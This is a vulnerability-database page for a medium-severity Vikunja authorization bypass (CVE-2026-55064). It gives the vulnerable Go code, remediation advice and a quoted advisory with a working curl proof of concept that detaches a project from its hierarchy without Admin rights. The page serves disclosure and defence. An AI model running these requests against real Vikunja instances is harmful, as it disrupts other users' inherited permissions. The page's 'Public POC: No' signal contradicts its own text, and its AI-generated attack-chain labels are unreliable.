Skip to main content

Vikunja CVE-2026-55064

| EUVDEUVD-2026-67831 MEDIUM
Missing Authorization (CWE-862)
2026-08-28 https://github.com/go-vikunja/vikunja GHSA-44v6-7fxq-vgf4
4.3
CVSS 3.1 · Vendor: https://github.com/go-vikunja/vikunja
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Authenticate as Write-level collaborator
  2. Delivery
    Identify target child project with non-zero parent_project_id
  3. Exploit
    Send POST /api/v1/projects/{id} with parent_project_id:0
  4. Install
    Zero-value bypasses Admin gate in CanUpdate and UpdateProject
  5. C2
    xorm writes parent_project_id=0 to database
  6. Execute
    Project detached from hierarchy
  7. Impact
    Inherited permissions disrupted for other collaborators

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V8 - Authorization Authorization checks on every request
MITRE ATT&CK

1 technique across 1 tactic: Privilege Escalation

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The attacker must hold an authenticated Vikunja account with at minimum Write permission on the specific target child project, granted via a direct project share or team membership - unauthenticated users and users with no share on the project cannot exploit this. The target project must currently have a non-zero parent_project_id, meaning it must exist within a project hierarchy rather than being a root-level project. No special or non-default Vikunja configuration is required; the vulnerability is present in default installations. Exploitation is bounded by the requirement to already be a Write-level collaborator: the attacker cannot read additional data, escalate their own permissions, or access projects they are not already shared on. The harm is limited to disrupting the parent-child relationship and its downstream cascading effect on inherited permissions for other users in the hierarchy.

Impact

The NVD CVSS 3.1 score of 4.3 (Medium, AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N) accurately reflects the constrained real-world risk: exploitation requires an existing authenticated account with Write-level share access on a specific child project, and the direct impact is limited to unauthorized project hierarchy modification rather than data exfiltration or code execution. No EPSS score was provided in the source intelligence, and the vulnerability does not appear in the CISA KEV catalog, indicating no confirmed widespread active exploitation at time of analysis. However, a step-by-step proof-of-concept is publicly available in the GHSA advisory, which materially lowers the skill barrier for exploitation. The most significant downstream consequence is permission inheritance disruption - collaborators whose access was derived through the parent project hierarchy may lose permissions after a detach operation, making this disproportionately impactful in multi-tenant deployments with complex nested hierarchies. The CVSS Integrity:Low rating is arguably conservative given that cascading permission loss for uninvolved users represents a meaningful organizational integrity harm, though Scope:Unchanged remains appropriate because the attacker cannot themselves gain elevated privileges.

Exploit ScenarioDerived

An attacker already holding a Write-level share on a child project authenticates via the Vikunja API and sends a standard project update request (POST /api/v1/projects/{id}) with a JSON body of {"parent_project_id": 0}. Both the CanUpdate and UpdateProject authorization gates skip the Admin check because the zero value does not satisfy their respective conditions, and xorm writes parent_project_id=0 directly to the database. The project is silently promoted to root level, severing the recursive CTE permission chain and potentially stripping access from other collaborators who inherited permissions through the former parent. A publicly documented proof-of-concept with curl commands confirms the exploit path is trivially executable.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 28, 2026

Incomplete authorization fix in Vikunja v2.3.0 allows Write-level collaborators to detach a shared child project from its parent hierarchy by supplying parent_project_id: 0, bypassing the Admin permission gate introduced by the CVE-2026-35595 fix. The flaw exists in versions v2.3.0 through the latest unstable builds and is fixed in v2.4.0. A detailed, independently reproducible proof-of-concept with curl commands is publicly documented in the GHSA advisory, though no CISA KEV listing has been identified at time of analysis.

RemediationAI

Upgrade Vikunja to version 2.4.0, which resolves the incomplete authorization check by properly handling the parent_project_id detach-to-root case. The vendor fix and full advisory details are documented at https://github.com/go-vikunja/vikunja/security/advisories/GHSA-44v6-7fxq-vgf4. For organizations unable to upgrade immediately from v2.3.x, a compensating control is to audit and restrict Write-only project shares on child projects within sensitive hierarchies - downgrading affected shares to read-only or elevating trusted collaborators to Admin eliminates the exploitable permission gap, at the cost of reduced collaboration flexibility. There is no network-layer block effective against this vulnerability since exploitation uses a standard authenticated API call indistinguishable from legitimate project updates. Defenders can monitor API access logs for POST requests to /api/v1/projects/{id} containing parent_project_id: 0 issued by non-owner accounts as a detection signal.

Affected VersionsENISA

vikunja 2.3.0, < 2.4.0

Affected Packages

go code.vikunja.io/api fix: 2.4.0
euvd vikunja_2_3_0 fix: 2.4.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Vikunja is an open-source task and project management application written in Go (package code.vikunja.io/api). The root cause is CWE-862 (Missing Authorization) arising from Go's zero-value semantics for integer types. The CVE-2026-35595 fix introduced an authorization gate in pkg/models/project.go (line 1018) using the condition if project.ParentProjectID > 0, which correctly enforces Admin permission when re-parenting to a non-zero parent. However, when ParentProjectID is 0, Go's int64 zero value is indistinguishable from an explicitly supplied JSON value of 0, so both the CanUpdate check in project_permissions.go (line 145) and the UpdateProject gate are skipped entirely. The xorm ORM unconditionally includes parent_project_id in the colsToUpdate column slice, ensuring the zero value is written to the database regardless. Vikunja uses a recursive CTE to propagate permissions upward through the project hierarchy via parent_project_id chains; severing this chain disrupts inherited permissions for all collaborators who relied on the ancestral permission grant.

Know when Docker gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/go-vikunja/vikunja) PRIMARY 4.3 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
vuln.today AI 4.3 MEDIUM

Network-accessible API requires Write-level authentication (PR:L); low complexity; integrity-only impact confined to hierarchy modification with no confidentiality or availability loss.

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
SUSE MEDIUM

Primary rating from Vendor (https://github.com/go-vikunja/vikunja).

CVSS VectorVendor: https://github.com/go-vikunja/vikunja

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
Low
Availability
None

Lifecycle Timeline

1
Patch available
Aug 28, 2026 - 21:17 EUVD

DescriptionCVE.org

Summary

The fix for CVE-2026-35595 (project re-parenting privilege escalation) only gates reparent operations when parent_project_id > 0. A user with Write (but not Admin) permission on a shared child project can detach it from its parent by sending parent_project_id: 0, bypassing the Admin requirement. This severs the recursive CTE permission inheritance chain, potentially disrupting the project hierarchy and affecting inherited access for other collaborators.

Affected component

  • Package: go-vikunja/vikunja
  • Affected versions: v2.3.0 and later (including latest unstable v2.3.0-246-9852aff4). The fix for CVE-2026-35595 was introduced in v2.3.0 but left the detach-to-root case unpatched. Fixed in 2.4.0.
  • Tested on: Vikunja v2.3.0 (Docker image vikunja/vikunja:2.3.0) AND latest unstable (vikunja/vikunja:unstable, v2.3.0-246-9852aff4 built 2026-04-27)

Technical detail

Vulnerable code

File: pkg/models/project.go (lines 1009-1041)

go
// GHSA-2vq4-854f-5c72 / CVE-2026-35595: the recursive permission CTE
// cascades Admin from any owned ancestor, so moving a shared child
// under an attacker-owned root grants Admin on the child. Require
// Admin on both sides of a reparent.
//
// Only gate on non-zero ParentProjectID: the generic update handler
// binds a fresh struct, so an omitted parent_project_id is
// indistinguishable from an explicit 0. Detach-to-root is therefore
// out of scope here -- a proper fix needs a pointer field.
if project.ParentProjectID > 0 {
    // ... Admin check (lines 1019-1041) -- SKIPPED when ParentProjectID == 0
}

File: pkg/models/project_permissions.go (line 145)

go
if p.ParentProjectID != 0 && p.ParentProjectID != ol.ParentProjectID {
    // reparent permission check -- SKIPPED when ParentProjectID == 0
}

File: pkg/models/project.go (line 1065)

go
colsToUpdate := []string{
    "title", "is_archived", "identifier", "hex_color",
    "parent_project_id",  // <-- ALWAYS included, writes 0 to DB
    "position",
}

Why it's exploitable

  1. The generic web handler (pkg/web/handler/update.go:37) creates a fresh empty Project{} struct -- ParentProjectID defaults to Go's zero value (0).
  2. When JSON body contains "parent_project_id": 0, the struct has ParentProjectID == 0.
  3. CanUpdate at line 145: ParentProjectID != 0 is false -- reparent check skipped -- falls through to CanWrite which succeeds (attacker has Write).
  4. UpdateProject at line 1018: ParentProjectID > 0 is false -- Admin gate skipped entirely.
  5. xorm writes parent_project_id = 0 because "parent_project_id" is always in colsToUpdate with Cols().
  6. The project is detached from its parent hierarchy.

Precondition checklist

  • [x] Attacker has authenticated account
  • [x] Attacker has Write permission on a child project (via direct share or team membership)
  • [x] The target project has a non-zero parent_project_id (it's a child of another project)
  • [x] Default Vikunja configuration (no special setup needed)

Reproduction

Prerequisites: Two users (victim = project owner, attacker = Write-only collaborator), a parent project, and a child project shared with the attacker at Write permission.

  1. Authenticate as attacker:
bash
TOKEN=$(curl -s -X POST http://localhost:3456/api/v1/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"user_a","password":"UserAPassword1!"}' | jq -r '.token')
  1. Verify attacker does NOT have Admin (delete should return 403):
bash
curl -s -o /dev/null -w '%{http_code}' -X DELETE http://localhost:3456/api/v1/projects/4 \
  -H "Authorization: Bearer $TOKEN"
# Expected: 403
  1. Exploit -- detach project from parent:
bash
curl -s -X POST http://localhost:3456/api/v1/projects/4 \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"title":"Sensitive Child Project","parent_project_id":0}'
  1. Verify detachment:
bash
curl -s http://localhost:3456/api/v1/projects/4 \
  -H "Authorization: Bearer $TOKEN" | jq '.parent_project_id'
# Returns: 0 (was: 3)

Evidence (3 independent runs)

Runparent_project_id BEFOREDELETE attempt (proves no Admin)parent_project_id AFTERResult
13 (child of project 3)HTTP 403 Forbiddennull (detached to root)CONFIRMED
23 (child of project 3)HTTP 403 Forbiddennull (detached to root)CONFIRMED
33 (child of project 3)HTTP 403 Forbiddennull (detached to root)CONFIRMED

*Note: "null (detached to root)" means parent_project_id was set to 0 in the database, making the project a root-level project with no parent.*

Impact

  • Unauthorized hierarchy modification: A user with only Write permission can detach a child project from its parent, which should require Admin permission (as established by the CVE-2026-35595 fix for non-zero reparents).
  • Permission inheritance disruption: The recursive CTE permission model traverses parent_project_id upward. Detaching a project severs this chain, potentially causing other collaborators who inherited access through the parent to lose their permissions on the detached project.
  • Organizational disruption: The project moves from a structured hierarchy to a root-level project, breaking the owner's intended organizational structure.

Suggested fix

Use a pointer field *int64 for ParentProjectID to distinguish between "field omitted" (nil) and "explicitly set to 0" (detach). The fix commit itself acknowledges this at project.go:1017: "a proper fix needs a pointer field."

Alternatively, add a dedicated detach boolean field or a separate API endpoint for detaching projects, with its own Admin permission check.

Threat Intelligence Overview

EPSS Score
0.3%
Top 81% exploitable
Prevalence
Low
niche open-source project management tool, limited enterprise footprint
Threat Intel
1
1 sources
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA Vendor GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

22
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +22
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.

Privilege escalation occurs when an attacker leverages flaws in access control mechanisms to gain permissions beyond what they were originally granted.

More in Docker

View all
CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2019-5736 HIGH POC
8.6 Feb 11

runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac

CVE-2023-32077 HIGH POC
7.5 Aug 24

Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2023-5815 HIGH POC
8.1 Nov 22

The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post

CVE-2026-66384 MEDIUM POC
5.3 Aug 12

Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten

CVE-2014-9357 CRITICAL
10.0 Dec 16

Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build

CVE-2026-52806 CRITICAL POC
9.9 Jun 23

Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config

CVE-2025-14707 HIGH POC
8.9 Dec 15

Unauthenticated remote command injection in SGWBOX N3 firmware 2.0.25 lets attackers execute arbitrary operating-system

CVE-2026-56274 HIGH POC
8.7 Jun 23

Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per

CVE-2026-34156 CRITICAL POC
9.9 Mar 30

Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l

CVE-2019-15752 HIGH POC
7.8 Aug 28

Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c

Vendor StatusVendor

SUSE

Severity: Moderate

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy